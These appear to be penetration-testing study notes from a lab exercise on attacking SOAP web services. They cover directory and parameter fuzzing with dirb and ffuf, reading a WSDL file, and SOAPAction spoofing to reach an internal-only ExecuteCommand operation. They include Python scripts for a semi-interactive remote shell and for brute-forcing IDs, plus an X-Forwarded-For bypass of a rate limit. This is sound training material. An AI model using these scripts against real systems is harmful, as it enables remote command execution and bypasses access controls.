But:
Possible Attack/Command:
dirb http://<TARGET IP>:<TARGET PORT>
Possible Result:
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Mar 25 11:53:09 2022
URL_BASE: http://<TARGET IP>/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://<TARGET IP>:3002/ ----
+ http://<TARGET IP>/wsdl (CODE:200|SIZE:0)
-----------------
END_TIME: Fri Mar 25 11:53:24 2022
DOWNLOADED: 4612 - FOUND: 1
WSDL is located at: http://<TARGET IP>/wsdl
If the previous URL will return empty (i.e. curl http://<TARGET IP>/wsdl is empty) you may need to provide a param to signal the WSDL that you want to read some info:
ffuf -w "../SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>/wsdl?FUZZ' -fs 0 -mc 200
Possible results:
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.129.202.133:3002/wsdl?FUZZ -fs 0 -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.202.133:3002/wsdl?FUZZ
:: Wordlist : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response size: 0
________________________________________________
WSDL [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 10ms]
wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 8ms]
:: Progress: [6453/6453] :: Job [1/1] :: 4878 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
Then just curl this url: curl http://10.129.202.133:3002/wsdl?wsdl and you should get the xml back.
<wsdl:definitions targetNamespace="http://tempuri.org/"
<wsdl:types></wsdl:types>
<wsdl:message name="LoginSoapIn"></wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<wsdl:operation name="Login"></wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input></wsdl:input>
<wsdl:output></wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="HacktheboxService"></wsdl:service>
</wsdl:definitions>
<wsdl:types>
<s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
<s:element name="LoginRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="username" type="s:string"/>
<s:element minOccurs="1" maxOccurs="1" name="password" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="LoginResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
LoginRequest for example<!-- Login Messages -->
<wsdl:message name="LoginSoapIn">
<wsdl:part name="parameters" element="tns:LoginRequest"/>
</wsdl:message>
<wsdl:message name="LoginSoapOut">
<wsdl:part name="parameters" element="tns:LoginResponse"/>
</wsdl:message>
<!-- ExecuteCommand Messages -->
<wsdl:message name="ExecuteCommandSoapIn">
<wsdl:part name="parameters" element="tns:ExecuteCommandRequest"/>
</wsdl:message>
<wsdl:message name="ExecuteCommandSoapOut">
<wsdl:part name="parameters" element="tns:ExecuteCommandResponse"/>
</wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<!-- Login Operaion | PORT -->
<wsdl:operation name="Login">
<wsdl:input message="tns:LoginSoapIn"/>
<wsdl:output message="tns:LoginSoapOut"/>
</wsdl:operation>
<!-- ExecuteCommand Operation | PORT -->
<wsdl:operation name="ExecuteCommand">
<wsdl:input message="tns:ExecuteCommandSoapIn"/>
<wsdl:output message="tns:ExecuteCommandSoapOut"/>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<!-- SOAP Login Action -->
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<!-- SOAP ExecuteCommand Action -->
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
interface <wsdl:service name="HacktheboxService">
<wsdl:port name="HacktheboxServiceSoapPort" binding="tns:HacktheboxServiceSoapBinding">
<soap:address location="http://localhost:80/wsdl"/>
</wsdl:port>
</wsdl:service>
Every SOAP Action call should include the operation and the parameters of that operation. If the messages are transported via http there is an additional HTTP Header called SOAPAction that contains the operations name (so the webservice doesn't need to parse the entire xml for the operation name).
If a web service considers only the SOAPAction attribute when determining the operation to execute, then it may be vulnerable to SOAPAction spoofing.
TL;DR: Spoof the name of an Action with the help of an HTTP Header to bypass security checks or execute operations that are meant for internal use/internal IPs only.
The SoapActions can be read from the wsdl definition file (see operations):
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
We can see a SOAPAction operation called ExecuteCommand. Then we can take a look at the request params (in this example it's at ExecuteCommandRequest):
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
We could create a script to call this endpoint (or use a mitm proxy like BurpSuite):
import requests
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></ExecuteCommandRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
This script will try to execute the whoami command. If this one will return an error similar to this one, we can bypass the checks:
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandResponse xmlns="http://tempuri.org/"><success>false</success><error>This function is only allowed in internal networks</error></ExecuteCommandResponse></soap:Body></soap:Envelope>'
We can bypass the checks, by passing in the ExecuteCommand in the HTTP Header, but sending an XML that wants to execute another, publicly available function/operation like LoginRequest:
import requests
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
Here we pass the LoginRequest operation, but with the parameters of the ExecuteCommand one.
<soap:Body>, so that our request goes through. This operation is allowed from the outside.whoami command.If the webservice determines the action based on the SOAPAction header, we may bypass the restrictions and the server will execute the whoami command.
This is what its response could look like:
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><success>true</success><result>root\n</result></LoginResponse></soap:Body></soap:Envelope>'
And to make it semi-interactive we can create the following python script:
import requests
while True:
cmd = input("$ ")
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
See the full notes on command injections for more information about command injections in general.
ffuf -w "SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>/?FUZZ=test_value'
import requests, sys
def brute():
try:
value = range(10000)
for val in value:
url = sys.argv[1]
r = requests.get(url + '/?id='+str(val))
if "position" in r.text:
print("Number found!", val)
print(r.text)
except IndexError:
print("Enter a URL E.g.: http://<TARGET IP>:3003/")
brute()
seq 1 10000 > numbers.txt-mr (match regex):ffuf -u http://10.129.202.133:3003/?id=FUZZ -w numbers.txt -mr 'position'
If there is a rate limit in place, you can always try to bypass it through headers such as X-Forwarded-For, X-Forwarded-IP, etc., or use proxies. These headers have to be compared with an IP most of the time. See an example below.
<?php
$whitelist = array("127.0.0.1");
if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
header("HTTP/1.1 401 Unauthorized");
}
else
{
print("bypass checks");
}
craft a mailicious payload that will make the reges evaluate slow/take long times to evaluate.
Regex Visualizer: https://jex.im/regulex/